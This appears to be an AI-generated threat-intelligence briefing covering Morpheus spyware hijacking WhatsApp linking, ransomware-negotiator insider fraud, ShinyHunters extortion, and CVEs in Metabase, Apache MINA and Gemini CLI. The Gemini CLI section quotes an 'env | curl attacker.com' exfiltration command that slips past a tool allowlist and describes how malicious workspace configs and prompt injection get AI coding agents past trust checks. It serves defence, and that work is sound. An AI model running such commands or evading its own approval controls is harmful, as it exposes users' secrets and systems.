Session CRT-20260427 — 27 April 2026 · Afternoon Edition

Halil, this is a disturbing case study in how surveillance vendors have learned to weaponize Android's accessibility framework at scale. Here's the technical breakdown:

Biometric Prompt Spoofing — How It Works

Morpheus doesn't technically "bypass" biometric authentication — it impersonates it. The spyware uses accessibility service privileges (which the victim grants unknowingly during installation) to:

1. Detect when WhatsApp requests biometric verification — Accessibility services can monitor UI events and window changes, so Morpheus sees the biometric prompt trigger
2. Overlay a fake biometric interface — The spyware draws its own fingerprint/FACE_ID prompt on top of the legitimate system dialog—a classic UI spoofing technique
3. Capture the authentication event — When the user scans their fingerprint or face, the real biometric verification succeeds inside WhatsApp's trusted UI, but Morpheus has now captured the moment when the app is unlocked
4. Immediately authorize device linking — With WhatsApp briefly authenticated, Morpheus uses accessibility APIs to simulate taps and complete the "Link a Device" flow, adding the attacker's browser or phone as a linked device

The biometric itself isn't cracked — the user's trust in the biometric prompt is exploited. From the victim's perspective, they just unlocked WhatsApp normally. They have no indication their authentication was hijacked to authorize a second device. This is social engineering elevated through API abuse.

WhatsApp Device Pairing Hijack — The Full Chain

The "WhatsApp Web" feature is the target here. Normally, pairing requires:

• Open WhatsApp → Settings → Linked Devices → Link a Device
• Scan QR code with primary phone

Morppheus automates this entire flow:

• The accessibility service programmatically navigates WhatsApp's UI
• It opens the QR scanner and captures the code locally
• Or more commonly: it opens the "Link a Device" interface and generates a QR code that the attacker's phone scans remotely via the C2 channel

The victim's phone becomes a proxy — all WhatsApp traffic now flows to the attacker's linked device in real-time. Messages, media, contacts, call logs, even live calls if the victim answers. This is persistent, silent, and survives device reboots because the pairing remains valid until manually revoked.

MDM Detection Difficulty — The Enterprise Problem

Here's the uncomfortable truth: Morpheus is designed to evade traditional enterprise MDM because it exploits permissions that legitimate apps also use. The detection challenges:

1. Accessibility service abuse is hard to distinguish from legitimate use — Screen readers, password managers, automation tools all use the same APIs. Blocking accessibility services breaks accessibility for disabled users and productivity tools.

2. No root/jailbreak required — Morpheus operates entirely within the Android application sandbox, so MDM root detection finds nothing suspicious.

3. Masquerades as system components — Fake "Phone Update" or "Google Play Services" apps often have legitimate-looking package names and signatures

4. Network traffic is encrypted and low-volume — C2 communication rarely triggers DLP or network anomaly detection

For enterprise defense, I'm seeing recommendations across sources: MTD (Mobile Threat Defense) solutions specifically designed to spot accessibility abuse patterns, combined with policies blocking sideloading and requiring app attestation. But the real gap is behavioral — most organizations can't distinguish "user installed a fake update" from legitimate activity until exfiltration is already happening.

What's particularly insidious here is the telecom provider cooperation described in the reporting. When you combine mobile data blocking + SMS social engineering + state-sanctioned spyware deployment, the attack surface includes infrastructure that enterprises don't control at all.

On the Martino guilty plea, this case creates significant regulatory implications that extend well beyond the criminal conspiracy charges. Angelo Martino pleaded guilty to conspiracy to obstruct commerce by extortion under 18 U.S.C. § 1951(a), facing up to 20 years imprisonment. The case involved three cybersecurity professionals — Martino and Kevin Martin from DigitalMint, plus Ryan Goldberg from Sygnia — who used their trusted insider positions to act as double agents for the BlackCat/ALPHV ransomware group, extorting over $75 million from victims including their own clients.

Regulatory liability exposure for organizations that hired these firms is complex and multi-jurisdictional. Under GDPR Article 28, data controllers must ensure processors provide "sufficient guarantees" of technical and organizational measures — but the obligations run deeper. Under NIS2 Article 21, essential and important entities must assess and manage cybersecurity risks posed by suppliers and service providers. The Directive explicitly requires vendor security assessments, contractual safeguards, and ongoing monitoring. The Martino case exposes a critical gap: there is no mandatory background check or vetting regime for incident response personnel at the EU or US federal level.

This isn't purely theoretical. DigitalMint fired Martino only after DOJ notification — meaning their internal controls failed to detect an employee actively conspiring with threat actors for over a year. For EU entities under NIS2, this constitutes a potential Article 21 infringement with maximum administrative fines of €10 million or 2% of global annual turnover, whichever is higher. Under GDPR Article 82, affected data subjects could pursue damages if personal data was compromised during these breaches.

The practical advice: Organizations must now expand third-party due diligence to include personnel-level vetting for IR vendors with privileged access, background check requirements in contracts, and segregation of duties to prevent any single negotiator from controlling both victim and attacker communication channels.

On IPS Intelligence and the Morpheus spyware, the EU regulatory posture remains fragmented and enforcement-weak despite post-Pegasus parliamentary pressure. The PEGA Committee of Inquiry recommended stricter enforcement of existing export control regimes and a moratorium on spyware sales, but the European Commission has largely deferred to member state authorities citing Article 4(2) TEU — national security remains member state competence.

Regulation (EU) 2021/821 on dual-use export controls theoretically covers "intrusion software" and "IP network surveillance systems" under Wassenaar Arrangement amendments, but the PEGA inquiry found enforcement "weak and patchy." Individual member states grant export licenses, creating regulatory arbitrage. Italy, like several EU states, has domestic lawful interception frameworks that permit judicially-authorized spyware deployment — the same legal mechanism allegedly used in the Morpheus campaign targeting political activists.

The IPS case is particularly notable because it represents a new category of EU-based commercial spyware vendor: unlike NSO Group (Israel) or Intellexa (Greece-based but with complex offshore structures), IPS operates openly from Italy with 30+ years of "lawful interception" technology provision to police forces across 20 countries. The Morpheus spyware's distribution through telecom provider SMS channels suggests cooperation with network operators, potentially implicating additional regulatory frameworks including eIDAS and telecom security obligations.

The EU's Global Human Rights Sanctions Regime offers a theoretical tool to target spyware vendors, but designation requires unanimous Council approval — politically improbable for an Italian company with domestic law enforcement clients. The Commission's Surveillance Technology Expert Group (STEG) continues to operate opaquely, and aggregated export licensing data is systematically censored.

Without specific EU-level criminalization of domestic spyware development or a unified licensing denial standard based on human rights risk assessment, vendors like IPS, CY4GATE, eSurv, RCS Lab, and SIO will continue operating in this regulatory gray zone. The gap is structural: existing frameworks regulate exports, not domestic sales to government agencies, and "national security" invocations block meaningful oversight.

On the Martino/DigitalMint insider case:

This case represents a confirmed insider recruitment model within the IR industry. Timeline: April–November 2023 operation, uncovered in 2025, sentencing now. The pattern — insider recruitment of negotiators — is confirmed as viable and lucrative. Five victims paid a combined $75.3 million in ransom, extracted through insurance intelligence sharing. The economics are compelling: negotiators already have trusted victim access, know insurance limits, understand payment workflows.

Is this replicated? I assess moderate confidence the model is attractive to actors. CNN's reporting notes DOJ expects "additional fraud cases in the cybersecurity industry" — that's prosecutor signaling, not speculation.

Indicators threat intel should monitor:

• Negotiator behavior anomalies: pushing for faster payments than victim readiness, emphasizing insurance contact over technical recovery
• Unusual communication patterns in negotiation chats (the Martino case actually preserved chat logs showing him feeding the attackers lines)
• Post-incident correlation analysis: did multiple victims who hired the same IR firm pay ransoms significantly above sector norms?
• Asset seizures tracing back to negotiator identities (the $10 million Martino seizure included vehicles, cryptocurrency, food truck, luxury fishing boat — this pattern should prompt database cross-checks)

ATT&CK mapping: This is T1195.002 — Supply Chain Compromise applied to the IR services layer. Attackers didn't infiltrate infrastructure; they recruited the defenders.

On ADT/ShinyHunters — deadline today:

Timeline: April 20 detection, April 27 deadline — seven days for negotiation. ShinyHunters' standard compression. Their April 21 mass campaign with the same date pattern suggests operational tempo coordination, using the same vishing-to-Okta-to-Salesforce chain across victims.

If the deadline passes without payment, expect:

1. Immediate cross-platform data release — not just their leak site, but Telegram, criminal forums, and potentially "Leak Bazaar" style processing for resale
2. Staged disclosure — they don't dump everything at once; they'll release samples, then escalate to full datasets to maximize pressure in subsequent rounds
3. Targeted media outreach — consumer-facing companies like ADT get extra public pressure
4. Secondary sale to data brokers regardless of future payment — the Yahoo Tech report confirms their shift to "making stolen data permanently available on criminal platforms"

ShinyHunters has moved away from encryption entirely. This is pure extortion-data-exfiltration — T1567 (Exfiltration Over Web Service) mapped to their Salesforce/Okta targeting.

Confirmed precedent: Alert360 (also home security) had 2.5 million records dumped after failed ransom negotiations. Same sector, same threat actor, same outcome pattern. This gives us moderate confidence in the escalation trajectory if ADT doesn't pay.

On the Martino insider threat case: this is a textbook trust boundary violation. The TTPs look like information asymmetry exploitation — when the negotiator knows the victim's insurance policy limits, ransom demands magically align with those figures to the dollar. Watch for attackers demonstrating unusual precognition of victim-specific constraints: payment timelines that match cash flow cycles, demands that precisely hit policy sub-limits, or "negotiation strategies" that mirror what the victim's legal counsel privately advised.

For IR communications telemetry: monitor for anomalous outbound communications from the negotiator's systems during active engagements — encrypted messaging apps, burner email accounts, or VPN usage right before key negotiation milestones. Also look for pattern-of-life anomalies during off-hours when the negotiator would normally be communicating only with victim stakeholders but is suddenly generating traffic to Tor exit nodes or foreign VPS infrastructure. Financial tracing is your friend here — watch for negotiator accounts receiving cryptocurrency from addresses that correlate with ransom payment flows.

On pentest-ai-agents: the telemetry picture changes depending on how it's deployed. If adversaries use the 28 subagent framework you mentioned (the 0xSteph/Claude Code implementation), the signal is distinctive in three ways:

First, tool orchestration cadence. Human pentesters think, type, think, type. AI agents execute with machine-speed pipelining — you'll see rapid-fire sequential tool execution (nmap → gobuster → nuclei → sqlmap) with sub-second inter-command delays. The timing fingerprint is unmistakable.

Second, command structure anomalies. The agents generate synthetic bash patterns — command chains that follow LLM reasoning patterns rather than human muscle memory. For example, a human might type nmap -sS -p- target, but an AI agent produces fully-qualified paths, verbose flags in alphabetical order, and systematic enumeration schemas that look like nmap -vv -sS -sV -p- --script vuln -oA fullscan target.tld. It's technically correct but feels... authored.

Third, error handling signatures. When a tool fails, AI agents often retry with minor variations or pivot immediately to alternatives in way that feels emergent rather than tactical. Human operators pause, curse, Google. AI agents keep marching.

The reconnaissance telemetry itself — port scanning, directory brute-forcing, subdomain enumeration — looks identical to legitimate pentesting. That's the problem: these frameworks are designed by security professionals for authorized testing, so detection has to focus on operational tempo and behavioral sequencing rather than tool signatures. The mitigating factor is that autonomous agents are noisy. 28 specialized subagents operating in parallel generate coordination chatter that's hard to suppress without throttling, and that throttling shows up in timing patterns.

Distinguishing AI-driven from human-operated recon essentially becomes a cognitive forensics problem: are we seeing opportunistic adaptation or systematic enumeration? Human operators skip steps when intuition says "not worth it" — AI agents don't have intuition, they have coverage agendas.

On pentest-ai-agents by 0xSteph:

This represents a genuine capability jump, but let me be precise about what shifted. We've had AI-powered pentesting frameworks before — OpenClaw, the earlier Claude-Red tooling — but 0xSteph's release changes the distribution model and ease of deployment. A single curl install (curl -fsSL | bash) that copies 28 specialized subagents to ~/.claude/agents/, with a companion MCP server (pentest-ai) extending 150+ tool wrappers, CI/CD integration, and a two-tier execution model. That's not just "AI-assisted pentesting," that's infrastructure as commodity.

The key escalation isn't the technique novelty; it's the democratization. Previously, building this capability required substantial ML and infrastructure investment. Now it's one command. The framework implements Tier 2 agents that "compose and display commands for explicit approval before execution" per the GitHub documentation — though as we've seen with similar tooling, "explicit approval" is fragile when agents process untrusted inputs.

For defenders: monitor for specific signatures — the MCP server registration patterns, the subagent spawning behavior (these create distinctive process trees), and watch your CI/CD pipelines for sudden Claude Code configurations pulling remote subagent definitions. The 28 subagents have specific system prompts that leave traces in logs. This is OWASP LLM Top 10 territory — specifically LLM01 (prompt injection) and LLM03 (supply chain vulnerabilities) working in concert.

On Gemini CLI and the recurring pattern with Bitwarden:

The common root cause across these failures is what I'd call "workspace trust inheritance breakdown." Here's the pattern:

1. Interactive vs. Non-Interactive Mode Divergence: Gemini CLI auto-trusts workspace folders in headless/CI mode without explicit validation — a silent behavioral change between modes that developers don't anticipate. The GHSA-wpqr-6v78-jr5g advisory notes that "in non-interactive mode, the application automatically trusted local workspace folders and loaded configuration from .gemini/ directories without explicit user consent or validation."

2. Tool Allowlisting with Insufficient Validation: Gemini's --yolo mode previously "ignored any fine grained tool allowlist in ~/.gemini/settings.json" per the GitHub advisory — meaning run_shell_command(echo) would allow any command. This is classic SQL-injection-style parsing failure — the security mechanism checks the command root but not continuation (Tracebit demonstrated that whitelisting grep permits grep README.md; env | curl attacker.com because "only very cursory validation logic is performed").

3. Configuration Injection via Repository Contents: Both Gemini and Bitwarden CLI allow repositories to define execution environment via .gemini/ configs or npm preinstall hooks. The attack surface shifts from "compromising the tool" to "compromising any repository the tool touches."

Bitwarden's 93-minute compromise involved a compromised engineer GitHub account used to "create a new branch in the bitwarden/clients repository, stage a prebuilt malicious tarball, and rewrite the publish-cli.yml workflow to exchange a GitHub Actions OIDC token for an npm auth token" — not merely account takeover but a sophisticated CI/CD pipeline compromise exploiting npm's trusted publishing mechanism. The Gemini flaw achieves similar RCE without ever touching package registries — the attack stays entirely within "legitimate" repository interactions.

The structural fix isn't just patching — it's re-architecting how AI tools handle trust boundaries. Interactive mode assumptions cannot silently carry over to CI. Tool allowlists need semantic validation, not string prefix matching. And workspace trust decisions need explicit opt-in, never auto-trust based on file presence.

Connective tissue: We're seeing the same failure mode across three major AI tool vendors (Anthropic, Google, Bitwarden) in a four-week window. This suggests a systemic industry gap: AI agent tooling was built for developer convenience (minimizing friction, maximizing automation) without adequate threat modeling for adversarial repository content. Until vendors treat every repository as potentially hostile in non-interactive contexts — which means explicit trust decisions, not automatic workspace loading — we'll keep seeing variations on this pattern.

DigitalMint Insider Threat: Financial Exposure Model

Look, the Martino case just cost the incident response industry its most valuable asset — trust. Here's the damage calculation:

Direct Victim Losses ($75.3M confirmed):
Per Cyberscoop and FedAgent reporting, five U.S. victims paid a combined $75.3M in ransoms — including a nonprofit that paid $27M and a financial services company that paid $26M. Law enforcement seized $10M in assets from Martino.

But that's just the tip. Alex tells me this was credential/phishing-enabled admin access, not zero-day exploitation. The systemic risk is what matters here.

IR Services Market Impact:
According to Growth Market Reports, the global ransomware negotiation services market reached $1.12 billion in 2024. I estimate 15-25% near-term contraction in contract renewals as enterprises re-evaluate vendor trust. That's $170-280M in deferred or cancelled IR engagements over the next 12 months.

The bigger number: insurance claims. Five victims paid $75.3M but Martino extracted intelligence on insurance limits from the negotiation process itself. Coalition reported its incident response team negotiates ransom payments down by an average of 60% — but with insider knowledge of policy limits, attackers captured near-full amounts. This means insurers now face moral hazard amplification on every future ransomware claim involving third-party negotiators. I'm modeling an additional $50-80M in claims costs industry-wide as attackers refine this playbook.

Board-ready summary:

• Regulatory exposure: NIS2 fines up to 2% turnover for inadequate vendor assessment under Article 21 (per Sofia)
• Insurance: Negotiation fee structures creating perverse incentives under scrutiny
• Action required: Emergency vendor risk assessments on all IR/negotiation providers by June 30

Metabase Enterprise RCE (CVE-2026-33725): Business Impact Model

Alex confirmed this requires admin credentials — CVSS 7.2, not 9.8. But here's why the financial exposure is still serious: TheirStack tracks 8,433 companies using Metabase, with AppRunTheWorld data showing 25% are enterprises with 10,000+ employees. That's roughly 2,100 large organizations in the blast radius.

Sector concentration matters. AppRunTheWorld shows Metabase adoption concentrated in Professional Services, Retail, and Banking/Financial Services — with Financial Services representing 19% of tracked users. Healthcare is significantly represented with customers like Curative Inc. and Color.

Financial exposure calculation:

Based on the version range (1.47-1.59.3), I estimate 30-40% of Enterprise deployments are running unpatched vulnerable versions. That's 630-840 enterprise-grade Metabase instances at risk.

Best case (patch within 72h, no credential compromise): $15-25M industry-wide business disruption
Base case (phishing-assisted admin credential harvest, selective exploitation): $180-320M in breach costs, remediation, and regulatory penalties
Worst case (coordinated campaign against financial services targets pre-earnings season): $650M-1.1B when you factor in SEC disclosure impacts and HIPAA maximum penalties on multistate health systems

Sofia's timeline cascade is the killer here: SEC materiality determination in 4 business days with PoC public, PCI 72-hour notification, HIPAA 60 days. Miss one deadline and you're facing multi-jurisdictional enforcement.

Board-ready summary:

• Immediate action: Network-level access restrictions to Metabase admin panels by EOD
• Patching window: 72 hours before high-confidence credential phishing campaigns begin
• Disclosure trigger: Public PoC means SEC materiality assessment is mandatory for registrants

Based on my OSINT investigation, here's what I found:

IPS Intelligence / Morpheus Spyware — The External Picture

Corporate Footprint:
IPS Intelligence & Public Security is a 30-year-old Italian S.p.A. headquartered at Via della Giuliana, 82 in Rome, with an Aprilia satellite office at Via Monticello, 7. The company website footer identifies IPS S.p.A. with sole shareholder — Vat#: 02021190596 — and lists ISO 9001 and 27001 certifications, plus ISO 14001:2015 "Environmental Management System certification." Their LinkedIn claims 92 associated members listing the company as their current workplace.

Pivot Chain (OSINT Trail):
One employee LinkedIn profile → corporate website "About" page → client list showing Presidenza del Consiglio dei Ministri, Ministero della Difesa, Ministero della Giustizia, Ministero dell'Interno, Arma dei Carabinieri, Polizia di Stato, Guardia di Finanza. This is a lawful interception contractor with deep domestic government relationships extending into defense and intelligence.

Infrastructure Chain (Technical):
Per the Osservatorio Nessuno technical report, Morpheus C2 uses game-host.org (Oracle Dyn DNS) resolving to 109.239.245.172 on ports TCP 8443 and 4443. DNS pivoting reveals related infrastructure at 195.120.31.91 and 212.210.1.211. The fingerprint analysis shows these endpoints cluster on Italian ISP ranges — primarily Air2bite s.r.l. and Mobile Service Integration, with some TIM-hosted servers. All Shodan-indexed endpoints geolocate to Italy.

Infrastructure Assessment:
I consulted Lena Hartmann on overlaps with NSO/Intellexa/RCS Lab infrastructure. No overlaps detected. This is distinctly lower-grade hosting — Italian consumer/business ISP infrastructure rather than the bulletproof M247/VPS networks Intellexa uses in Bulgaria. The Italian code fragments ("Gomorra," "spaghetti") echo Hacking Team's cultural fingerprints, suggesting domestic development rather than outsourced engineering. This is indigenous Italian capability filling the void left by Hacking Team's collapse.

Client Base & Deployment Context:
IPS claims operations in 30+ countries across 4 continents, but Morpheus appears targeted at domestic Italian activists based on the telecom-assisted delivery vector — mobile data blocked by the carrier, then SMS lure to install a fake "update." That requires telco cooperation that fits the lawful interception relationship model. The victims were likely politically active targets in Italy, not the international client base.

0xSteph / pentest-ai-agents — Researcher Profile

Pivot Chain:
GitHub handle "0xSteph" → companion LinkedIn post from "Marc S." (independent, ~4K followers) → website pentestai.xyz. The researcher presents as an independent European offensive security practitioner with established industry presence.

GitHub Activity:

• Repository: pentest-ai-agents — 28 Claude Code subagents for penetration testing
• Initial release: March 29, 2026 (v1.0.0 per CHANGELOG)
• Versions 2.0.0, 1.1.0, and 3.0.0 all released March 30, 2026 — rapid iteration suggesting active development
• Companion repo: pentest-ai — Python-based MCP server with 150+ tool wrappers, exploit chaining, PoC validation
• License: MIT
• Architecture: Two-tier model — Tier 1 advisory agents analyze tool output; Tier 2 can compose commands requiring user approval

Threat Actor Adoption Assessment:
I found no confirmed evidence of threat actor adoption of pentest-ai-agents specifically. No dark web forum references, no marketplace listings, no underground discussion. However, the landscape context matters:

• A related record shows threat actors already weaponizing "Claude Code and OpenClaw" to exploit CVE-2025-55182 and compromise 900+ targets — the adjacent capability is proven in the wild
• The repository includes scope enforcement and approval prompts, but MIT licensing means anyone can fork and strip controls
• The project's visibility is rising — tracked on Trendshift, featured in cybersecurity news coverage

This toolset represents sophisticated AI-assisted pentesting infrastructure. While no criminal adoption is confirmed, the modular architecture and capability alignment with what threat actors are already doing with AI agents suggests it's a matter of time, not if.

Look, I want to break down what's actually happening here and what we do about it right now. All three of these exploit trust boundaries — serialization trust, workspace trust, permissions trust. Here's the priority matrix.

CRITICAL (do today):

1. Metabase Enterprise CVE-2026-33725 — The public PoC from Hakai Security changes everything. This requires authenticated admin access, but once you're in, it's game over. The attack chain: POST to /api/ee/serialization/import with a crafted archive that injects INIT= properties into H2 JDBC connections.

Immediate mitigation if you can't patch yet: Disable the /api/ee/serialization/import endpoint entirely — this is confirmed by the Metabase advisory (GHSA-fppj-vcm3-w229) as the viable workaround.

Detection strategy:

• Monitor for H2 connection strings containing INIT= in database logs or packet capture
• Look for abnormally short-lived H2 database connections during "import" operations
• Monitor the import endpoint itself — oversized archives or rapid-fire imports are suspicious

Patches confirmed available at: 1.54.22, 1.55.22, 1.56.22, 1.57.16, 1.58.10, 1.59.4. Test in staging first — I've seen Metabase patches break custom dashboards before.

2. Gemini CLI GHSA-wpqr-6v78-jr5g — This is a CI/CD supply chain weapon. The vulnerability allowed malicious workspace config files to bypass trust checks and inject tool execution in headless environments.

Patches confirmed: NPM versions 0.39.1 or 0.40.0-preview.3, GitHub Action 0.1.22.

CRITICAL for CI/CD: Until you've confirmed your environment is patched, don't blindly trust Gemini CLI in automated workflows. The bypass vectors are environment var manipulation, malicious .gemini/settings.json in the workspace, and prompt injection.

Detection: Look for unexpected child process spawning from Gemini CLI processes — specifically shell commands (bash, sh, cmd.exe) that weren't in the workflow definition. In my experience, this signal has a low false positive rate if you baseline your normal workflows first, though your mileage may vary based on workflow complexity.

HIGH (do this week):

3. Apache MINA CVE-2026-41635 — CVSS 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), pre-authentication RCE via deserialization allowlist bypass. Affected versions are 2.0.0-2.0.27, 2.1.0-2.1.10, 2.2.0-2.2.5.

Patch versions of 2.0.28, 2.1.11, and 2.2.6 have been cited in some sources, but I have not been able to independently confirm these against the Apache MINA security advisory — check that advisory directly before acting on those version numbers.

Here's the critical thing: this only matters if your application uses IoBuffer.getObject() with ObjectSerializationCodecFactory. Most MINA usage is for TCP/UDP protocol handling that doesn't touch Java serialization. Check your SBOMs for the filter chain pattern: ProtocolCodecFilter + ObjectSerializationCodecFactory. SSHd, FTPd, and Vysper sub-projects are confirmed not affected.

The sequence priority remains: Metabase first (active exploit with public tool), Gemini CLI second (supply chain risk to build integrity), MINA third (only if your code path actually uses ObjectSerializationCodecFactory).

Halil, what's the next item?